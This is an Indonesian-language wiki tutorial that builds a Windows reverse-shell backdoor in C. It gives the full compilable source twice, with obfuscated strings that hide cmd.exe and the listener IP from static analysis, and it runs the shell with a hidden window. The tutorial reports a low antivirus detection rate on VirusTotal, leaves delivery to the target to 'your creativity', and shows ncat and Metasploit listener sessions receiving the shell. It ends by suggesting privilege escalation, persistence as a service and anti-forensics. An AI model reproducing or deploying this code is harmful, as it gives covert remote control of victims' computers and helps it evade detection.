Membuat Backdoor Reverse Shell Sederhana Untuk Sistem Operasi MS Windows

From Indonesian Research And Development Center
Jump to: navigation, search

Pendahuluan

Pada tutorial kali ini, akan dibahas cara membuat aplikasi backdoor reverse shell sederhana untuk sistem operasi Windows. Bahasa pemrograman yang digunakan adalah bahasa C dan kompilasi source pada tutorial ini menggunakan Microsoft Visual Studio 2012. Disclaimer: tutorial ini hanya untuk tujuan pembelajaran semata, penulis tidak bertanggungjawab atas penggunaan maupun penyalahgunaan tulisan ini.


Langkah-langkah

Berikut ini adalah source code dari backdoor yang akan dibuat disertai dengan nomor pada tiap barisnya sebagai acuan untuk penjelasan lebih lanjut:

     1  #include <winsock2.h>
     2  #include <windows.h>
     3
     4  #ifdef _MSC_VER
     5  #pragma comment(lib,"kernel32")
     6  #pragma comment(lib,"ws2_32")
     7  #pragma comment(linker,"/subsystem:windows /entry:main /align:8 /merge:.rdata=.text /merge:.data=.text /section:.text,ERW")
     8  #endif
     9
    10  void main()
    11  {
    12      int i;
    13      WSADATA wd;
    14      SOCKET sock;
    15      struct sockaddr_in sa;
    16      STARTUPINFO si;
    17      PROCESS_INFORMATION pi;
    18      static char *szstr[] = {"\x36\x40\x37\x01\x38\x4b\x38\x00", \
    19                              "\x04\x0c\x05\x01\x04\x09\x0b\x01\x04\x01\x05\x06\x07\x00"};
    20
    21
    22      if (WSAStartup(0x0202, &wd)) { ExitProcess(1); }
    23      if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) != INVALID_SOCKET) {
    24          for (i=0; i<13; i++) { szstr[1][i] += 0x2d; }
    25
    26          sa.sin_family      = AF_INET;
    27          sa.sin_port        = htons(4444);
    28          sa.sin_addr.s_addr = inet_addr(szstr[1]);
    29
    30          if (connect(sock, (SOCKADDR *) &sa, sizeof(sa)) != SOCKET_ERROR) {
    31              SecureZeroMemory(&si, sizeof(si));
    32              SecureZeroMemory(&pi, sizeof(pi));
    33
    34              si.cb          = sizeof(si);
    35              si.dwFlags     = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    36              si.wShowWindow = SW_HIDE;
    37              si.hStdInput   = (HANDLE) sock;
    38              si.hStdOutput  = (HANDLE) sock;
    39              si.hStdError   = (HANDLE) sock;
    40
    41              for (i=0; i<7; i++) { szstr[0][i] += 0x2d; }
    42
    43              if (CreateProcess(NULL, szstr[0], NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
    44                  WaitForSingleObject(pi.hProcess, INFINITE);
    45                  CloseHandle(pi.hThread);
    46                  CloseHandle(pi.hProcess);
    47              }
    48          }
    49          closesocket(sock);
    50      }
    51      WSACleanup();
    52      ExitProcess(0);
    53  }
  • Baris pertama dan ke-2 adalah file header yang dibutuhkan, dimana header winsock2.h seperti namanya berisi definisi baik itu konstanta, fungsi dan lainnya untuk mengakses library yang berhubungan dengan jaringan.
  • Baris ke-4 dan ke-8 merupakan definisi yang akan digunakan jika source code tersebut di-compile menggunakan compiler Microsoft.
  • Baris ke-5 dan ke-6 merupakan static library yang akan disertakan dalam proses kompilasi, dan sengaja didefinisikan menggunakan direktif pragma untuk mempermudah proses kompilasi. Adapun library yang digunakan cukup kernel32 untuk mengakses fungsi win32api dan library ws2_32 untuk mengakses fungsi yang berkaitan dengan jaringan.
  • Baris ke-7 adalah direktif yang digunakan untuk sedikit optimalisasi dengan tujuan untuk memperkecil ukuran akhir file executable hasil kompilasi. Caranya adalah dengan menggabungkan section data dan kode serta mengatur atributnya. Berikut ini adalah penjelasan untuk tiap bagian dari baris tersebut:
    • /subsystem:windows - fungsinya untuk memberi tahu kepada compiler bahwa kita akan membuat aplikasi berbasis GUI.
    • /entry:main - digunakan untuk menentukan bahwa aplikasi yang akan dibuat akan mulai dieksekusi dari fungsi main sebagai entry point.
    • /align:8 - fungsinya untuk mengatur alignment untuk tiap section pada executable. Satuannya adalah byte dan nilainya harus merupakan kelipatan dari 2. Pada source di atas, alignment yang digunakan adalah 8 byte.
    • /merge:.x,.y - fungsinya untuk menggabungkan 2 buah section, yaitu section x akan digabungkan ke section y. Perlu dicatat, bahwa section resource yang biasanya bernama .rsrc dan section .reloc tidak dapat digabungkan dengan section lainnya.
    • /section:.x, ERW - fungsinya untuk mengatur atribut dari section x. Adapun atribut yang digunakan adalah E untuk atribut executable, R untuk atribut read, W untuk atribut write. Selain ketiga atribut tersebut, masih ada beberapa atribut lain dan untuk lebih jelasnya bisa dibaca pada MSDN.
  • Baris ke-12 sampai baris ke-18 adalah variabel lokal. Adapun variabel szstr adalah array string yang diobfuscate secara sederhana agar tidak mudah terlihat jika dianalisa secara statis. String pertama adalah cmd.exe yaitu shell yang akan dieksekusi dan string kedua adalah IP yang akan digunakan sebagai listener untuk menerima connect back, dalam contoh ini digunakan alamat IP private 192.168.1.234. Kedua string tersebut diobfuscate dengan mengurangi nilai dari setiap karakter dengan 0x2d (heksadesimal).
  • Baris ke-22 fungsinya untuk melakukan inisialisasi library winsock. Pada inisialisasi ini, kita menentukan bahwa akan menggunakan winsock v2.2 dan jika inisialisasi gagal maka aplikasi akan langsung berhenti.
  • Baris ke-23 fungsinya untuk membuat socket dengan menggunakan fungsi WSASocket. Adapun alasan penggunakan WSASocket adalah karena pada windows socket v2, handle dari WSASocket bisa digunakan sama dengan file handle dan untuk lebih jelasnya bisa dibaca di sini.
  • Baris ke-24 fungsinya untuk men-deobfuscate alamat IP komputer yang digunakan sebagai listener untuk menerima koneksi.
  • Baris ke-26 sampai 28 fungsinya untuk mengisi variabel dari struktur sockaddr_in sebelum melakukan koneksi. Adapun variabel tersebut antara lain jenis koneksi, port dan alamat IP.
  • Baris ke-30 fungsinya untuk melakukan koneksi ke komputer yang digunakan sebagai listener.
  • Baris ke-31 dan 32 fungsinya untuk melakukan inisialisasi atau mengosongkan struktur STARTUPINFO dan PROCESS_INFORMATION yang akan digunakan oleh fungsi CreateProcess.
  • Baris ke-34 hingga baris ke-39 fungsinya untuk mengisi variabel pada struktur STARTUPINFO yaitu:
    • cb - yaitu ukuran dari struktur tersebut.
    • dwFlags - adalah flag yang akan digunakan oleh struktur STARTUPINFO. Pada source bisa terlihat bahwa flag yang digunakan adalah STARTF_USESTDHANDLES yang menyatakan bahwa nantinya kita akan menggunakan variabel hStdInput, hStdOutput dan hStdError pada struktur ini demikian pula dengan flag STARTF_USESHOWWINDOW yang menentukan bagaimana window aplikasi akan ditampilkan.
    • wShowWindow - berisi kostanta SW_HIDE yang artinya window dari proses yang dibuat nantinya tidak akan ditampilkan.
    • hStd(Input|Output|Error) - berisi handle dari socket yang telah dibuat pada langkah sebelumnya yang artinya segala hal yang berkaitan dengan input/output/error akan diteruskan sehingga kita nantinya dapat berinteraksi dengan proses tersebut melalui socket.
  • Baris ke-41 fungsinya untuk men-deobfuscate nama aplikasi yang akan dijalankan menggunakan fungsi CreateProcess, dalam hal ini adalah cmd.exe.
  • Baris ke-43 fungsinya untuk menjalankan proses cmd.exe berdasarkan isi dari struktur STARTUPINFO.
  • Baris ke-44 fungsinya adalah membiarkan proses berjalan secara terus-menerus hingga nantinya kita mengakhiri misalnya dengan perintah exit.
  • Baris ke-45 dan 46 fungsinya untuk menutup handle yang sudah tidak digunakan setelah proses berhenti.
  • Baris ke-49 fungsinya untuk menutup socket dan mengakhiri koneksi dengan komputer yang berfungsi sebagai listener.
  • Baris ke-51 digunakan untuk mengakhiri penggunaan library windows socket.
  • Baris ke-52 fungsinya untuk mengakhiri eksekusi aplikasi.

Untuk melakukan kompilasi, simpan source di atas dan beri nama misalnya lab.c lalu gunakan perintah berikut ini dari Developer Command Prompt for VS2012

 cl /nologo /O1 lab.c

Akan muncul peringatan, namun hal tersebut dapat diabaikan. Selanjutnya adalah menguji berapa banyak antivirus yang dapat mendeteksi backdoor tersebut. Berikut ini hasil dari virustotal :

SHA256         : bfcab8242e630d9fe22466a04911a60e59add4367ce383bd01a6571d7eacc7db
File name      : lab.exe
Detection ratio: 4 / 46
Analysis date  : 2013-01-15 09:32:28 UTC ( 0 minutes ago )

Ternyata lumayan bagus, dari 46 antivirus ada 4 yang mendeteksi atau rasionya 8,6%. Untuk pengujian, backdoor tersebut dapat dijalankan pada komputer target (caranya tergantung kreatifitas Anda), namun sebelumnya kita perlu menjalankan terlebih dahulu listener pada IP yang sudah di-hardcoded pada backdoor tersebut. Berikut ini contoh sesi pada komputer listener yang menggunakan ncat :

$ ncat -lp 4444
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

D:\rndc>whoami
whoami
sputnik\rndc

Selain menggunakan ncat, kita juga bisa menggunakan metasploit. Berikut ini adalah contoh sesi pada komputer listener yang menggunakan metasploit:

# ./msfconsole -q
msf > use multi/handler
msf  exploit(handler) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf  exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/shell_reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf  exploit(handler) > set LHOST 192.168.1.234
LHOST => 192.168.1.234
msf  exploit(handler) > set LPORT 4444
LPORT => 4444
msf  exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.234:4444
[*] Starting the payload handler...
msf  exploit(handler) > [*] Command shell session 1 opened (192.168.1.234:4444 -> 192.168.1.69:1327) at 2013-01-15 19:00:11 +0700

msf  exploit(handler) > sessions -l

Active sessions
===============

  Id  Type           Information  Connection
  --  ----           -----------  ----------
  1   shell windows               192.168.1.234:4444 -> 192.168.1.69:1327 (192.168.1.69)

msf  exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

D:\rndc>

Bisa terlihat bahwa backdoor yang dibuat bisa berjalan dengan baik. Tutorial kali ini masih bersifat sederhana dan masih dapat dikembangkan lebih lanjut misalnya dengan penambahan fitur enkripsi, privilege escalation, menjalankan sebagai service hingga fitur yang lebih sulit misalnya anti forensic. Pada bagian selanjutnya disertakan source code backdoor tanpa line number yang dapat Anda gunakan untuk eksperimen.


Source Code (Tanpa Line Number)

#include <winsock2.h>
#include <windows.h>

#ifdef _MSC_VER
#pragma comment(lib,"kernel32")
#pragma comment(lib,"ws2_32")
#pragma comment(linker,"/subsystem:windows /entry:main /align:8 /merge:.rdata=.text /merge:.data=.text /section:.text,ERW")
#endif

void main()
{
    int i;
    WSADATA wd;
    SOCKET sock;
    struct sockaddr_in sa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    static char *szstr[] = {"\x36\x40\x37\x01\x38\x4b\x38\x00", \
                            "\x04\x0c\x05\x01\x04\x09\x0b\x01\x04\x01\x05\x06\x07\x00"};


    if (WSAStartup(0x0202, &wd)) { ExitProcess(1); }
    if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) != INVALID_SOCKET) {
        for (i=0; i<13; i++) { szstr[1][i] += 0x2d; }

        sa.sin_family      = AF_INET;
        sa.sin_port        = htons(4444);
        sa.sin_addr.s_addr = inet_addr(szstr[1]);

        if (connect(sock, (SOCKADDR *) &sa, sizeof(sa)) != SOCKET_ERROR) {
            SecureZeroMemory(&si, sizeof(si));
            SecureZeroMemory(&pi, sizeof(pi));

            si.cb          = sizeof(si);
            si.dwFlags     = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
            si.wShowWindow = SW_HIDE;
            si.hStdInput   = (HANDLE) sock;
            si.hStdOutput  = (HANDLE) sock;
            si.hStdError   = (HANDLE) sock;

            for (i=0; i<7; i++) { szstr[0][i] += 0x2d; }

            if (CreateProcess(NULL, szstr[0], NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
                WaitForSingleObject(pi.hProcess, INFINITE);
                CloseHandle(pi.hThread);
                CloseHandle(pi.hProcess);
            }
        }
        closesocket(sock);
    }
    WSACleanup();
    ExitProcess(0);
}


Penutup

Sekian tutorial kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, Maxindo, RNDC, N3, 1st, dan Anda.


Referensi